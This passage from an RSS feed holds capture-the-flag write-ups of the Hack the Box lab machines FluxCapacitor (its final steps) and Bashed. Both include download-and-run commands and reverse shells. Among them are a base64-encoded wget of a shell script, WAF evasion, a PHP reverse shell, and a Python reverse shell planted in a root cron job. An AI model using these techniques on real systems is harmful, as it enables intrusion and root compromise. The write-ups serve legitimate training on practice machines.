base64<br>d2dldCAxMC4xMC4xNC4yL3NoZWxsLnB5IC1QIC90bXAK</pre><p>Copy the base64 and then, in Burp, let’s run it through .monit. (I put a backslash before every character in the hex encoding because something in there was making the WAF scream, and ain’t nobody (heh) got time to figure that out).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8LvMwOEEImTGCxcq9r5VjQ.png" /></figure><p>Yeee.</p><p>The Python server:</p><pre>root@kali:~/Documents/hack_the_box/work_in_progress/fluxcapacitor# python -m SimpleHTTPServer 80<br>Serving HTTP on 0.0.0.0 port 80 ...<br>10.10.10.69 - - [14/May/2018 14:52:11] &quot;GET /shell.py HTTP/1.1&quot; 200 -</pre><p>Burp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UBELaz_a6Fkxfmr2G0boYg.png" /></figure><p>Successfully uploaded.</p><p>Start up a netcat listener to grab the shell.</p><pre>root@kali:~# nc -lnvp 4444<br>listening on [any] 4444 ...</pre><p>Now base64 encode ‘python3 /tmp/shell.py’ and run it with .monit in Burp. We need to type python3 explicitly because I didn’t see any symlinks for python -&gt; python3 in ‘/etc’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBTsKGs3xbFGv34_mmnosA.png" /></figure><pre>root@kali:~# nc -lnvp 4444<br>listening on [any] 4444 ...<br>connect to [10.10.14.2] from (UNKNOWN) [10.10.10.69] 35004<br>/bin/sh: 0: can&#39;t access tty; job control turned off<br># whoami<br>root<br># cat /home/FluxCapacitorInc/user.txt /root/root.txt<br>uSer_FlAg_tHaT_i_w0nt_sh0W_h3R3<br>n0T_th3_r3al_r00t_fl4g<br>#</pre><p>F I N.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*ya5Zb0cQZu-LWOkHT20PJA.gif" /></figure><h3>WAF Evasion Links:</h3><p><a href="https://medium.com/@2c2103638f08/718026d693d8">WAF Evasion Techniques Part 1</a></p><p><a href="https://medium.com/@2c2103638f08/125995f3e7b0">WAF Evasion Techniques Part 2</a></p><p>Thank you to <a href="https://medium.com/u/638c6a6ed4ad">theMiddle</a> for making a great box! Make sure to give him a follow.</p><p>If you found this informative, be on the lookout for more write-ups. You can follow me on <a href="https://twitter.com/OneebMalik">Twitter</a> for the latest.</p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=863190e4828e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[{Hack the Box} \\ Bashed Write-Up]]></title>
            <link>https://medium.com/@OneebMalik/hackthebox-bashed-write-up-eceb6b9f6d6f?source=rss-2c2103638f08------2</link>
            <guid isPermaLink="false">https://medium.com/p/eceb6b9f6d6f</guid>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[computers]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Oneeb Malik]]></dc:creator>
            <pubDate>Sun, 29 Apr 2018 01:04:44 GMT</pubDate>
            <atom:updated>2023-03-06T18:14:39.728Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZNvI3P8tXMgcSmmNXqa0Ig.png" /></figure><h4>For when you want to bash your computer against a brick wall.</h4><p><em>Disclaimer: I’m a noob.</em></p><p>Bashed and Mirai hold a special place in my heart. They’re the first two boxes I cracked after joining HtB. You can check out more of their boxes at <a href="https://hackthebox.eu/">hackthebox.eu</a>.</p><p>Bashed is a pretty straightforward, but fun box, so let’s just jump right into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Py6pJwZmjcaQJFFTKz1A0A.gif" /></figure><p>Start by doing a normal Nmap scan on this poor semi-defenseless box.</p><pre>root@kali:~/bashed# nmap -sC -sV 10.10.10.68 -o nmap.log<br>Starting Nmap 7.60 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2018-03-28 15:53 EDT<br>Nmap scan report for 10.10.10.68<br>Host is up (0.11s latency).<br>Not shown: 999 closed ports<br>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Arrexel&#39;s Development Site</pre><p>We’ve got ourselves a web server. While we peruse the website, we can start a full port scan of the box, in case there are weird ports the normal scan missed. Effective enumeration involves being efficient with your time. So make sure to have something running in the background at all times. A full port scan takes a while, so we just let it run while we go about our business.</p><pre>root@kali:~/bashed# nmap -p- 10.10.10.68 -o full-nmap.log</pre><pre>Starting Nmap 7.60 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2018-03-28 16:07 EDT</pre><p>Let’s now head over to <a href="http://10.10.10.68/">http://10.10.10.68</a> (port 80 by default).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kYn3WiynHsBzJHiiGE_gRg.png" /></figure><p>The most notable thing on this site seems to be the blog post. He mentions having developed phpbash on the same server we’re tying to crack (Check out the actual program<strong> </strong><a href="https://github.com/Arrexel/phpbash">here</a>. It’s been really useful to me in other CTFs as well). That makes it very likely that it’s laying around on the web server somewhere.</p><p>That’s all we’ve really found for now, so let’s fire up GoBuster (or whatever your favorite directory enumerator is. Fite me).</p><pre>root@kali:~# gobuster -u 10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt</pre><pre>Gobuster v1.2                OJ Reeves (<a href="http://twitter.com/TheColonial">@TheColonial</a>)<br>=====================================================<br>[+] Mode         : dir<br>[+] Url/Domain   : <a href="http://10.10.10.68/">http://10.10.10.68/</a><br>[+] Threads      : 10<br>[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Status codes : 200,204,301,302,307<br>[+] Extensions   : .php,.html,.txt<br>=====================================================<br>/images (Status: 301)<br>/index.html (Status: 200)<br>/contact.html (Status: 200)<br>/about.html (Status: 200)<br>/uploads (Status: 301)<br>/php (Status: 301)<br>/css (Status: 301)<br>/dev (Status: 301)<br>/js (Status: 301)<br>/config.php (Status: 200)<br>/fonts (Status: 301)</pre><p>Right off the bat we get some juicy, yet oddly stale, directories. Looking in /dev/, we find phpbash.php and phpbash.min.php. Bingo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U51trbe2nsv_-pi4WEXt2w.png" /></figure><p>Click on any one of the .php files, and we get a very convenient shell as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*83LaUOKCbAlO5lS-2k07YA.png" /></figure><p>Funnily enough, if we go to /home/ we can see that we have read permissions on the arrexel directory, so we can just grab ourselves the humble, non-root hash from user.txt.</p><pre>www-data@bashed:/home# ls<br>arrexel<br>scriptmanager</pre><pre>www-data@bashed:/home# ls -la<br>total 16<br>drwxr-xr-x 4 root root 4096 Dec 4 13:53 .<br>drwxr-xr-x 23 root root 4096 Dec 4 13:02 ..<br>drwxr-xr-x 4 arrexel arrexel 4096 Dec 4 12:52 arrexel<br>drwxr-xr-x 3 scriptmanager scriptmanager 4096 Dec 4 17:08 scriptmanager<br>www-data@bashed<br>:/home# cd arrexel</pre><pre>www-data@bashed:/home/arrexel# ls<br>user.txt</pre><pre>www-data@bashed:/home/arrexel# cat user.txt<br>hash_that_i_wont_show_here</pre><p>Success pt. 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*L7fyS9v6AGdOPTd34Y7whA.gif" /></figure><p>Before we move on to privilege escalation, let’s try to get a reverse shell going. I’ll mention why we need one later on in the post. In keeping with the theme of the site, grab <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell">this</a>. Download the php reverse shell from that link and extract its contents. Change the IP address and port in the .php file to your own IP address (it’s the one underneath tun0 in ifconfig) and the port of your choice.</p><p>Now we need to upload it to the remote server so we can access it from our browser. My favorite way to do this is to use <a href="https://github.com/enthought/Python-2.7.3/blob/master/Lib/SimpleHTTPServer.py">SimpleHTTPServer</a>. Download it from the link and run it.</p><pre>root@kali:~# python SimpleHTTPServer.py 80<br>Serving HTTP on 0.0.0.0 port 80 ...</pre><p>Now use wget or curl from /phpbash.php to grab the reverse shell while in /var/www/html/uploads since that’s the only place that we have write permissions in the web server.</p><pre>www-data@bashed:/var/www/html/uploads# wget 10.10.14.24/shell.php</pre><pre>--2018-04-28 16:12:46--  http://10.10.14.24/shell.php<br>Connecting to 10.10.14.24:80... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 5491 (5.4K) [application/octet-stream]<br>Saving to: &#39;shell.php&#39;<br><br>     0K .....                                                 100%  205M=0s<br><br>2018-04-28 16:12:46 (205 MB/s) - &#39;shell.php&#39; saved [5491/5491]</pre><p>The python server on our local machine should show that the remote machine grabbed our file.</p><pre>root@kali:~# python SimpleHTTPServer.py 80<br>Serving HTTP on 0.0.0.0 port 80 ...<br>10.10.10.68 - - [28/Apr/2018 19:15:23] &quot;GET /shell.php HTTP/1.1&quot; 200 -</pre><p>Excellent. Now start up your netcat listener.</p><pre>root@kali:~# nc -lnvp 4444<br>listening on [any] 4444 ...</pre><p>Navigate to /uploads/shell.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-uT-59_ZQG9FHvRhYPbDg.png" /><figcaption>Do you like my dark theme?</figcaption></figure><p>It will hang, but when you check your netcat listener:</p><pre>root@kali:~# nc -lnvp 4444<br>listening on [any] 4444 ...<br>connect to [10.10.14.24] from (UNKNOWN) [10.10.10.68] 36248<br>Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux<br> 16:27:13 up 48 min,  0 users,  load average: 3.12, 3.07, 2.76<br>USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>/bin/sh: 0: can&#39;t access tty; job control turned off<br>$</pre><p>There you go. Now to spare ourselves the eternal agony of ctrl-c’ing back out to our local machine, let’s upgrade our shell with some Python magic.</p><pre>$ python -c &quot;import pty; pty.spawn(&#39;/bin/bash&#39;);&quot;<br>www-data@bashed:/$</pre><p>Now background this with ctrl-z, and type stty raw -echo on your terminal. Then type fg to foreground the listener shell, press enter twice, and boom, you’ve got yourself an interactive remote shell in all its tab-completion glory.</p><pre>www-data@bashed:/$ ^Z<br>[1]+  Stopped                 nc -lnvp 4444<br>root@kali:~/Documents/hack_the_box/php-reverse-shell-1.0# stty raw -echo<br>root@kali:~/Documents/hack_the_box/php-reverse-shell-1.0# nc -lnvp 4444</pre><pre>www-data@bashed:/$</pre><p>There are a few more things you can do to make sure the clear command works along with any text editors like vim, but that’s not really necessary for what we need to do. Now navigate to the root directory.</p><pre>www-data@bashed:/$ ls -la<br>total 88<br>drwxr-xr-x  23 root          root           4096 Dec  4 13:02 .<br>drwxr-xr-x  23 root          root           4096 Dec  4 13:02 ..<br>drwxr-xr-x   2 root          root           4096 Dec  4 11:22 bin<br>drwxr-xr-x   3 root          root           4096 Dec  4 11:17 boot<br>drwxr-xr-x  19 root          root           4240 Apr 28 16:45 dev<br>drwxr-xr-x  89 root          root           4096 Dec  4 17:09 etc<br>drwxr-xr-x   4 root          root           4096 Dec  4 13:53 home<br>lrwxrwxrwx   1 root          root             32 Dec  4 11:14 initrd.img -&gt; boot/initrd.img-4.4.0-62-generic<br>drwxr-xr-x  19 root          root           4096 Dec  4 11:16 lib<br>drwxr-xr-x   2 root          root           4096 Dec  4 11:13 lib64<br>drwx------   2 root          root          16384 Dec  4 11:13 lost+found<br>drwxr-xr-x   4 root          root           4096 Dec  4 11:13 media<br>drwxr-xr-x   2 root          root           4096 Feb 15  2017 mnt<br>drwxr-xr-x   2 root          root           4096 Dec  4 11:18 opt<br>dr-xr-xr-x 125 root          root              0 Apr 28 16:45 proc<br>drwx------   3 root          root           4096 Dec  4 13:03 root<br>drwxr-xr-x  18 root          root            500 Apr 28 16:45 run<br>drwxr-xr-x   2 root          root           4096 Dec  4 11:18 sbin<br>drwxrwxr--   2 scriptmanager scriptmanager  4096 Dec  4 18:06 scripts<br>drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv<br>dr-xr-xr-x  13 root          root              0 Apr 28 16:45 sys<br>drwxrwxrwt  10 root          root           4096 Apr 28 16:56 tmp<br>drwxr-xr-x  10 root          root           4096 Dec  4 11:13 usr<br>drwxr-xr-x  12 root          root           4096 Dec  4 11:20 var<br>lrwxrwxrwx   1 root          root             29 Dec  4 11:14 vmlinuz -&gt; boot/vmlinuz-4.4.0-62-generic<br>www-data@bashed:/$</pre><p>Notice that there’s this odd directory called scripts owned by scriptmanager, one of the other users on the system. We only have read permissions on it, so we can at least list its contents.</p><pre>www-data@bashed:/$ ls -la /scripts<br>ls: cannot access &#39;/scripts/..&#39;: Permission denied<br>ls: cannot access &#39;/scripts/test.py&#39;: Permission denied<br>ls: cannot access &#39;/scripts/test.txt&#39;: Permission denied<br>ls: cannot access &#39;/scripts/.&#39;: Permission denied<br>total 0<br>d????????? ? ? ? ?            ? .<br>d????????? ? ? ? ?            ? ..<br>-????????? ? ? ? ?            ? test.py<br>-????????? ? ? ? ?            ? test.txt<br>www-data@bashed:/$</pre><p>Fun. Okay. That doesn’t really tell us much. Moar enumeration. This part is straightforward though. If you type sudo -l, you’ll notice that www-data can run any commands as scriptmanager.</p><pre>www-data@bashed:/$ sudo -l<br>Matching Defaults entries for www-data on bashed:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</pre><pre>User www-data may run the following commands on bashed:<br>    (scriptmanager : scriptmanager) NOPASSWD: ALL<br>www-data@bashed:/$</pre><p>Since we want to read what the mysterious files in /scripts/ are, let’s start up another shell as scriptmanager. (Sudo-ing wouldn’t be possible without a tty shell, which is why we went through all that trouble).</p><pre>www-data@bashed:/$ sudo -u scriptmanager /bin/bash<br>scriptmanager@bashed:/$</pre><p>Now head on over to /scripts.</p><pre>scriptmanager@bashed:/scripts$ ls -la<br>total 16<br>drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4 18:06 .<br>drwxr-xr-x 23 root          root          4096 Dec  4 13:02 ..<br>-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4 17:03 test.py<br>-rw-r--r--  1 root          root            12 Apr 28 17:03 test.txt<br>scriptmanager@bashed:/scripts$</pre><p>There are two files here. test.py and test.txt.</p><pre>scriptmanager@bashed:/scripts$ cat test.py<br>f = open(&quot;test.txt&quot;, &quot;w&quot;)<br>f.write(&quot;testing 123!&quot;)<br>f.close<br>scriptmanager@bashed:/scripts$</pre><pre>scriptmanager@bashed:/scripts$ cat test.txt<br>testing 123!scriptmanager@bashed:/scripts$</pre><p>Hmmmmmmmmmmmmmmmmmmmmmm. It seems like test.py is run, outputting test.txt and its contents. Bit of weirdness though. test.txt is owned by root. If we run test.py, test.txt is just going to be owned by scriptmanager, since that’s who it’s running as. The only explanation is that it was run by root somehow. If you notice the time test.txt is created, it changes every minute. It’s most likely a cron job, owned by root, that executes test.py every minute. Pretty convenient.</p><p>Let’s get ourselves a root shell and then grab the root.txt file. It’s no fun without seeing that #. Open up test.py and copy the code for a python reverse shell from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">pentestmonkey’s</a> handy dandy list of reverse shells, pasting it to the the file, and changing the IP address and port to your own.</p><pre>import socket,subprocess,os<br>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>s.connect((&quot;10.10.14.24&quot;,1337)) //change this<br>os.dup2(s.fileno(),0)<br>os.dup2(s.fileno(),1)<br>os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);</pre><p>Set up your Netcat listener, and wait ≤ 1 minute.</p><pre>root@kali:~# nc -lnvp 1337<br>listening on [any] 1337 ...<br>connect to [10.10.14.24] from (UNKNOWN) [10.10.10.68] 50176<br>/bin/sh: 0: can’t access tty; job control turned off<br># whoami<br>root<br># cat /root/root.txt<br>pwn3d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*AnWizLz096itUHQpEvS35w.gif" /></figure><p>GG. You’re done…….wait. I’m getting the distinct feeling I forgot something. Oh shoot. Go back to your terminal and cancel the full port scan since ITS PROBABLY STILL RUNNING GOD.</p><p>Now you can go pat yourself on the back, stretch, get a drink of water, open your blinds and get some sun.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eceb6b9f6d6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>